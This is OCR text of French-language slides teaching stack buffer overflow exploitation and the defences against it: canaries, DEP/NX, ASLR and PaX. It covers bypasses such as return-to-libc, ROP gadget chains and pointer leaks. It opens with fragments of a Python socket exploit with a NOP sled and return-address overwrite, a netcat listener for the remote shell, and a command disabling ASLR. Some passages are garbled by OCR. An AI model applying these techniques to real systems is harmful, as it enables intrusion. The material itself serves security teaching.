"\x57\x75\x64\xab"
32 # Length of NOP Sled
"\xc8\xfA\xff\xbf " # IP Overwrite (Oxbffff4c8)
socket.socket
"localhost", 5555 # Connect to server
1024) # Receive Banner
“" # Build Exploit String
IIAII II\X90II
IICII 4
# Send Exploit String




Développement d’exploits

* Tester 'exploit
* Sion écoute sur le port 8675
* nc -vvvnt —p 8675

* et on lance I'exploit

=» On n’obtiendra normalement le controle du shell distant



Protections Mémoire

 Stack canary

* GS sous Windows (Visual C++)
» StackShield, StackGuard et Stack Smashing Protection (SSP) sous Linux



Protections Mémoire

* Stack canary

* GS sous Windows (Visual C++)

* Une valeur aléatoire est générée pour chaque processus et placée juste au dessus de EIP et
EBP sauvegardés dans la pile. Elle est vérifiée a chaque retour de fonction.



Protections Mémoire

Stack canary
* GS sous Windows (Visual C++)

Nouveau Prologue Nouel Epilogue

push ebp mov ecx, dword ptr [ebp-4]

mov ebp, esp xor ecx, ebp ; see if either cookie or ebp changed
sub esp, 24h ;space for local buffers and cookie call vuln!__security_check_cookie (004012e8) ;
move ax, dword ptr [vuln!__security_cookie] check it, address will vary

xor eax, ebp ;xor cookie with ebp leave

mov dword ptr [ebp-4], eax ; store it at the Ret

bottom of stack frame

* On réalise un XOR du cookie avec EBP et on place le résultat au-dessous du EBP sauvegardé

* Au retour de la fonction, on réalise un XOR du cookie trouvé dans la pile avec EBP et on le
compare a celui se trouvant dans la section .data



Protections Mémoire

* Non-Executable Stack (gcc)

root@kali:~/book# gcc -o test test.c && readelf -l test | grep -i stack:
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
root@kali:~/book# gcc -z execstack -o test test.c && \

readelf -l test | grep -i stack
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

 Non-executable Memory Pages
* Le patche Page-eXec (PaX du package grsecurity)

* Data Execution Prevention (DEP)
* Programmes compilés avec le drapeau /NXCOMPAT sous Windows



Protections Mémoire

e Address Space Layout Randomization (ASLR)

« ASLR introduit de I’entropie dans ’adressage mémoire utilisé par les processus
* Programmes compilés avec le drapeau /DYNAMICBASE sous Windows
* Pour le désactiver sous Linux (debian):

echo 0 > /proc/sys/kernel/randomize__va_ space

* Ce qui rend l'exploitation plus difficile, car les adresses mémoires changent
(adresse de la pile, adresse de chargement des DLLs et leurs fonctions, ...)



Protections Mémoire

* Address Space Layout Randomization (ASLR)

Windows 7 Windows 8
Region 32-bit 64-bit Region 32-bit 64-bit
Executable Image 28 i Executable s 217
Image
DLL Image 28 28 DLL Image 28 21
Stack 24 2 Stack 27 23
Heap 2° 2° Heap 28 2%
PEB/TEB 24 2¢ PEB/TEB 28 27



Contourner DEP et PaX

* L’exploit return to libc
* Permet de contourner la protection de non exécution de la pile

* glibc est une librairie C utilisée par tous les programmes et qui comporte de fonctions
importantes system() et exit()

Saved EIP

¢ Stack Grows
<
Addr of Addr of
Overflow | Overflow | __ Filler |, . .
system() /bin/sh
Top of Stack T Bottom of Stack
Lower Memory Return Address Higher Memory

After system()

* On utilise gdb, ou dlopen() et dlsym() pour récupérer I'adresse de la fonction

* Trouver l'adresse de la chaine de caractéres « /bin/sh » dans glibc ou dans les variables
d’environnement



Contourner DEP et PaX

* L’exploit return to libc

Saved EIP
¢ Stack Grows
<
Overfl Overfl Addr of exitl) Addr of
Xi

verflow | Overflow system() “Ibin/sh”
Top of Stack T Bottom of Stack
Lower Memory Return Address Higher Memory

After system()



Contourner DEP et PaX

e Contourner DEP

* Return-Oriented Programming

Gadgets
?C3SFIFB 59 |
7C35FIFC CG3 = | RETN
7C34115E 33C8 XOR EAX.EAX
?2C341168] C3 RETN
JCALF218 0 83C4 BC
|v_"r~-r:l_:_-'1_y 3 __ RETN

7C35F126 SE I
2C35F127] €3 Lot

ROP on Stack

Buffer Overflow

™  0x7C35F1FB

4 Bytes filler (POP)

/

— 0x7C34115E

— Ox7C35F21A

12 Bytes filler (ADD)

— 0Ox7C35F126

Saved RET



Contourner le mécanisme Canary

» Prédire la valeur du cookie si la source d’entropie est faible
 Remplacer le cookie dans la section .data si nous obtenons un acces en écriture

* etc.



Contourner la protection ASLR

* Le moyen le plus simple est d’écraser EIP avec une fonction appartenant a un module nom
compilé avec la protection ASLR

» Prédire 'adresse si il existe une faible entropie surtout si la randomisation se fait une fois
chaque redémarrage



Contourner la protection ASLR

MSHTML.DII

0x74c20000

RV A Offset
Base+301624h =

code
code
code
code
known ptr
code
code
code
idata
data

0x7515C85C

data

MSHTML.DI1
Rebased

(x76390000

0x76691624 ==

0x768CC85C

code
code
code
code
ptr leak
code
code
code
idata
data
data

Connaitre 'adresse d’un pointeur dans un module a cause d’une fuite mémoire

0x7661624
—0x301624 (RVA)

0x76390000 — Base




